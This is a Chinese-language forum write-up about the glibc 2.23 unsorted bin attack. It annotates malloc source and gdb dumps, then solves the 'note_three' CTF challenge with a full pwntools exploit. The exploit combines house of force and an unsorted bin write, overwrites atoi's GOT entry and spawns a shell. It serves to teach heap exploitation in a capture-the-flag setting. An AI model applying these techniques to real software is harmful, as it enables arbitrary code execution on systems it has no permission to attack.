首页
社区
课程
招聘
[原创]unsortbin attack分析与总结
2020-10-3 11:06 5280

[原创]unsortbin attack分析与总结

2020-10-3 11:06
5280

unsortbin attack

unsortbin attack回顾

想要弄明白largebin的相关内容,首先要整理清楚unsortbin的分配利用方式。

  • unsortbin:当我们free掉一个超过fastbin大小的chunk时,会被插入unsortbin头部,然后取的时候从unsortbin尾部取出。
1
2
3
4
5
ptr1:0x602010
ptr3:0x602100
我们先free1再free3:
 
unsortbin: 0x6020f0 (size : 0xc0) <--> 0x602000 (size : 0xc0)

可以看到,首先插入了0x602000(ptr1)然后在头部插入了0x6020f0(ptr3),看一下fd和bk指针如下:

1
2
3
4
addr                prev                size                 status              fd                bk               
0x602000            0x0                 0xc0                 Freed     0x7ffff7dd1b78          0x6020f0
 
0x6020f0            0x0                 0xc0                 Freed           0x602000    0x7ffff7dd1b78

ptr1的bk指向ptr3,ptr3的bk指向ptr1,并且是个循环链表,ptr1的fd指向unsortbin,ptr3的bk指向unsortbin。

 

然后我觉得有一句形如fd和bk很清楚:

 

fd pointer to the next free chunk; bk pointer to the pre free chunk

 

这里的pre和next是相对unsorbtin里的位置说的,比如说先free 1,先插入1,再free2,再插入2,那么unsortbin中的就是unsortbin->2->1。那么2->fd=&1;2->bk=unsorbtin | 1->fd=unsortbin;1->bk=&2

 

然后往出取的时候从链尾取(注意:当malloc时程序首先查找fastbin和smallbin。如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。)。总结一张如图:

 

unsortbin 源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))    //从unsortbin第一个chunk(队尾)开始顺着bk指针向前遍历
        {
          bck = victim->bk;                        //bck是倒数第二个,victim是倒数第一个
          //size check
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);            //取出最victim的size
 
          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */
          //last remainder first
          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&                //如果我们申请的size在smallbin的范围,且last_remainder是unsortedbin中的唯一chunk,那么优先使用last_remainder(这个跟我们usortbin切割相关)
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              //cut and put the remained part back to unsorted list
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }
 
              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);
 
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              //return to user
              return p;
            }
 
          /* remove from unsorted list */
          //unsorted bin attack在这里
          //unsorted_chunks (av)这里就是victim即最后一个chunk,当我们可以控制victim的bk指针时(即bck)
          //就可以往bck->fd写入unsorted_chunks(av)即*(bck+0x10)=unsorted(av)
          //要求bck是一个可写的地址
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
 
          /* Take now instead of binning if exact fit */
            //如果请求的nb和victim的大小刚好符合,直接返回给用户
          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
 
          /* place chunk in bin */
 
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
 
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;
 
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }
 
                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }
 
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
 
#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS)
            break;
        }

其实核心就是这里:

1
2
3
4
5
6
7
8
9
//unsorted bin attack在这里
//unsorted_chunks (av)这里就是victim即最后一个chunk,当我们可以控制victim的bk指针时(即bck)
//就可以往bck->fd写入unsorted_chunks(av)即*(bck+0x10)=unsorted(av)
//要求bck是一个可写的地址
//unsorted_chunks (av)是unsortedbin(本身还带着一个fd和bk)
 
bck = victim->bk;                        //bck是倒数第二个,victim是倒数第一个
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

 

可以看到,在fakechunk的fd位置(64位下是fake_chunk+0x10)写入了unsorted_bin的地址(unsorted_chunks (av))

 

ubattack有很多种用法,比如错位写一个0x7f,给fastbin attack打配合(打free_hook的时候能用到)等等;比如在没有del的情况下踩出一个main_arena的地址等等orz。

 

注意:unsorted_chunks (av)写入之后这个位置指向的是top chunk

 

举个例子:

1
2
3
4
gdb-peda$ x /10gx 0x6021C0
0x6021c0:       0x00007ffff7dd1b78      0x0000000000000088
0x6021d0:       0x0000000000603f80      0x0000000000000068
0x6021e0:       0x0000000000603f20      0x0000000000000088

此时ubattack写入了0x00007ffff7dd1b78

1
2
3
gdb-peda$ x /20gx  0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x00000000006240a0      0x0000000000603f70
0x7ffff7dd1b88 <main_arena+104>:        0x0000000000603f70      0x00000000006021b0
1
2
3
4
5
6
7
8
gdb-peda$ p main_arena
$1 = {
  mutex = 0x0,
  flags = 0x1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x6240a0,
  last_remainder = 0x603f70,
  bins = {0x603f70, 0x6021b0,........
1
2
3
4
5
6
7
8
                  top: 0x6240a0 (size : 0x21f60)
       last_remainder: 0x603f70 (size : 0x70)
            unsortbin: 0x603f70 (invaild memory)
 
unsortedbin
all [corrupted]
FD: 0x603f70 ◂— 0x0
BK: 0x6021b0 ◂— 0x0

可以看到,依次是:top chunk->last_remainder->fd->bk

note_three(这题真不错orz)

题目概览

glibc2.23,且只有new和edit,没有free和show。

 

Edit的时候没有检查index合法性,导致可以越界写。

 

在0x6020C0+0x108储存我们申请chunk的size。由于使用了strdup,所以分配的大小实际是由我们输入决定的,跟size无关,但是edit的时候是根据我们输入的size读入的。所以这里存在溢出

 

然后限制add的时候输入的index不能大于2,但是没关系我们一直add index=0就行,反正是strdup开chunk

思路(house of force+unsortedbin attack劫持unsortbin)

  • 首先不断切割top chunk,然后劫持top chunk的size,再申请一个大的,让topchunk掉入unsortbin
  • 切割unsortedbin中的top chunk,通过Edit溢出,劫持ub里的chunk的bk指针,指向heap_list-0x10
  • Add一次,ubattack触发,修改heaplist的0号位置的ptr为main_arena+88(unsortbin的top chunk的位置)
  • 劫持unsortbin的top chunk、last_remainder、fd、bk,fd、bk指向新的位置
  • 劫持heap_list,改heaplist[0]=heap_list,然后Edit(0)劫持heap_list[0]=heap_list[1]=atoi_got
  • 改atoi_got为printf地址,硬改出一个格式化字符串
  • 通过fmt泄露libc_base
  • 然后改atoi_got为system,此时atoi变printf,注意程序中在get_int的时候返回的是atoi(&nptr),这里实际返回printf(&nptr),而printf的返回值是打印出的字符数量。比如:
1
printf("%d\n", printf("%d\n", printf("Hello\n")));

打印依次是:Hello 6 2

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./note_three"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='choice>> '      # choice提示语
siz='size: '     # size输入提示语
con='content: '         # content输入提示语
ind='idx: '      # index输入提示语
edi=''          # edit输入提示语
def Add(size,index,content='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
    sa(con,content)
def Del(index,c=''):
    sal(cho,c)
    pass
def Show(index,c=''):
    sal(cho,c)
    pass
def Edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    # 0x6021C0
 
    for i in range(23):
        Add(0x88,0,'0'*0x88)
 
    Add(0x88,0,'0')  
    Add(0x88,1,'1'*0x80)    # 开0x90
    Add(0x88,2,'a'*0x30)
 
    Edit(2,'a'*0x30+p64(0)+p64(0xb1))   #劫持top chunk的size为0xb1
 
    Add(0x90,0,'0'*0x90)                # topchunk进入unsortbin
 
    # unsorted bin attack
    Add(0x88,0,'a')                     # 切割unsortedbin中的top chunk
    heap_list = 0x6021C0
    Edit(0,'a'*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_list-0x10))    # 通过Edit溢出,劫持ub里的chunk的bk指针,指向heap_list-0x10
    Add(0x68,1,'a'*0x60)                # ubattack触发,修改heaplist的0号位置的ptr为main_arena+88(unsortbin)
    # pause()
    Edit(0,p64(0x602048)+p64(0)+p64(0x6020c0+0x70)*2)   # 劫持unsortbin,编辑
    Add(0x90,2,'p'*0x78+p64(0x91)+p64(0x6021b0)*2)     
    atoi_got = elf.got['atoi']
    printf_plt = elf.plt['printf']
    payload = 'a'*0x80+p64(0x6021c0)+p64(0x100)         # 劫持heap_list,改heaplist[0]=heap_list
    Edit(2,payload)
    Edit(0,p64(atoi_got)+p64(0x100)+p64(atoi_got))      # 劫持heap_list[0]=heap_list[1]=atoi_got
 
    Edit(1,p64(printf_plt))
    sal(cho,'%19$p')            # 改atoi_got为printf地址,硬改出一个格式化字符串
    libc_base = int(r(14),16)-libc.sym['__libc_start_main']-240
    info(hex(libc_base))
    system = libc_base+libc.sym['system']
    ru(cho)
    sl('1')         # printf返回值为被打印的字符数这里是2
    ru(ind)
    sl("")          # printf返回值为被打印的字符数
    ru(con)
    s(p64(system))
    s('/bin/sh\x00')
    shell()
    pause()
 
exp()

参考

https://ama2in9.top/2019/12/12/hhb/

 

https://l0ne1y.xyz/2020/05/10/Unsorted_Bin_Attack/#more

 

https://xz.aliyun.com/t/7251#toc-7


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回